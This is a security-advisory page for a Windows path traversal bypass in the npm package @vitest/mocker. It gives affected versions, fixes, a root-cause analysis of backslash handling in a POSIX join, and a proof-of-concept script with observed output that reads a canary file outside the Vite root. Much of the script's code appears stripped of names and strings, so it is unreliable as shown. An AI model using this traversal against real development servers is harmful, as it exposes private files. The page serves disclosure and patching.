Live › vulnerability › CVE-2026-112950
Go to dashboardA fix for an earlier Vitest path traversal in @vitest/mocker can be bypassed on Windows by using backslashes in a redirect URL. An attacker who can reach the Vite dev server's WebSocket can read files outside the project root that the Vitest process can access.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-23 19:11 UTC, 3h before NVD. All times on this page are UTC.
| Product | Ecosystem | Affected | Fixed in |
|---|
| @vitest/mocker | npm | >= 4.1.11, < 4.1.12 | 4.1.12 |
| @vitest/mocker | npm | >= 5.0.0-rc.2, < 5.0.3 | 5.0.3 |
npm ls @vitest/mocker and confirm whether the version is 4.1.11 or >=5.0.0-rc.2 and <5.0.34.1.12 or 5.0.3 (or the Vitest release that depends on it)Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
The path traversal fix released for GHSA-82fw-gwwq-j7x9 can be bypassed on Windows by using a backslash in the redirect URL pathname.
The fixed code joins an attacker-controlled URL pathname with the Vite root using node:path/posix, then passes that string to Vite's file allowlist check. On Windows, a value such as C:/project/root/..\secret.txt retains ..\ during the POSIX join and begins with the allowed root, so the allowlist accepts it. The later readFile() call uses Windows filesystem semantics, where the backslash is a path separator, and reads the sibling file outside the configured root.
I reproduced the issue with the published @vitest/mocker packages in both fixed release lines:
@vitest/[email protected]@vitest/[email protected]The current main source at commit 2ce29d5fa758046e5453bd92b8ed6c9da9709bb5 has the same behavior.
Fixed in @vitest/mocker 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. The redirect registration now converts backslashes in the URL pathname to forward slashes before it joins the pathname with the root, so ..\ resolves the same as ../ and the allowlist check rejects it.
This is a bypass of the accepted fix, not a separate unrelated path. It uses the same vitest:interceptor:register redirect registration and the same file-reading sink as the original advisory. A forward-slash traversal is rejected after the fix, while the equivalent Windows backslash traversal is accepted.
The original advisory marks 4.1.11 and 5.0.0-rc.2 as patched. The newly affected ranges introduced by the incomplete fix are therefore:
4.1.11>=5.0.0-rc.2, <5.0.3Older affected releases remain covered by GHSA-82fw-gwwq-j7x9.
packages/mocker/src/node/interceptorPlugin.ts imports join from node:path/posix. Redirect registration currently performs the equivalent of:
const redirect = join(server.config.root, redirectUrl.pathname)
if (!isFileLoadingAllowed(server.config, redirect)) return
event.redirect = redirect
The registered value later reaches:
readFile(mock.redirect, 'utf-8')
Vite's allowlist check expects a normalized absolute filesystem path. On Windows, POSIX joining does not normalize backslashes, but readFile interprets them as separators. The check and the sink therefore interpret the same string differently.
The authenticated browser RPC fallback in packages/browser/src/node/rpc.ts is not affected: it joins the path with pathe, which converts backslashes to forward slashes before the access check. The reproduction below targets the public mocker WebSocket registration path.
A client that can reach a Vite server using the public mockerPlugin or standalone interceptorPlugin WebSocket registration can register a redirect mock. On Windows, the client can then request the registered module and read a file outside server.fs.allow that the Vitest/Vite process account can access. Vitest Browser Mode does not register these WebSocket handlers in the affected versions.
The reproduction uses an unauthenticated Vite HMR WebSocket connection and a normal HTTP GET. It does not call the plugin's internal transform API. The practical network reachability is the same deployment precondition described by the original advisory; default loopback-only development servers are correspondingly less exposed.
Tested on GitHub-hosted Windows Server 2025 with Node.js 22. The test creates only temporary synthetic files: a Vite root directory and a sibling secret.txt containing a canary.
Install dependencies for either affected line:
npm install @vitest/[email protected] [email protected] [email protected]
# or
npm install @vitest/[email protected] [email protected] [email protected]
node poc.mjs
poc.mjs:
import { mkdir, writeFile } from 'node:fs/promises'
import { join } from 'node:path'
import { tmpdir } from 'node:os'
import { randomUUID } from 'node:crypto'
import { interceptorPlugin } from '@vitest/mocker/node'
import { createServer } from 'vite'
import { WebSocket } from 'ws'
const base = join(tmpdir(), `vitest-path-${randomUUID()}`)
const root = join(base, 'root')
const secret = join(base, 'secret.txt')
await mkdir(root, { recursive: true })
await writeFile(secret, 'SYNTHETIC_OUTSIDE_ROOT_CANARY')
const server = await createServer({
root,
configFile: false,
logLevel: 'silent',
server: { fs: { : [root] } },
: [
{
: ,
: ,
() {
(id === || id === ) id
},
},
(),
],
})
server.()
port = (server..[]).
baseUrl = server..[]
() {
( {
socket = (, )
timer = ( ( ()), )
socket.(, {
message
{ message = .(raw.()) } { }
(message. === && message. === ) {
(timer)
socket.()
()
}
})
socket.(, socket.(.({
: ,
: ,
: { : , : , id, : id, redirect },
})))
socket.(, reject)
})
}
{
(, )
controlResponse = ( (, baseUrl))
controlBody = controlResponse.()
(, )
bypassResponse = ( (, baseUrl))
bypassBody = bypassResponse.()
result = {
: process.,
root,
: secret,
: controlResponse.,
: !controlBody.(),
: bypassResponse.,
: bypassBody.(),
: bypassBody.() ? : ,
: process.. === ,
}
.(.(result, , ))
backslashResultMatchesExpectation = result.
? !result.
: result.
(!result. || !backslashResultMatchesExpectation) process. =
} {
server.()
}
Observed with @vitest/[email protected]:
{
"platform": "win32",
"slashTraversalStatus": 404,
"slashTraversalRejected": true,
"backslashTraversalStatus": 200,
"backslashTraversalReturnedOutsideCanary": true,
"returnedBody": "SYNTHETIC_OUTSIDE_ROOT_CANARY",
"expectedBackslashTraversalBlocked": false
}
The same result was observed with @vitest/[email protected].
This includes two useful controls:
traversal:../secret.txt is rejected and returns 404, confirming the published forward-slash fix is active.traversal:..\secret.txt returns 200 and the exact outside-root canary, confirming a Windows separator bypass rather than an unrelated route or fixture response.This page as .md · .json · in your agent: get_signal("CVE-2026-112950")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.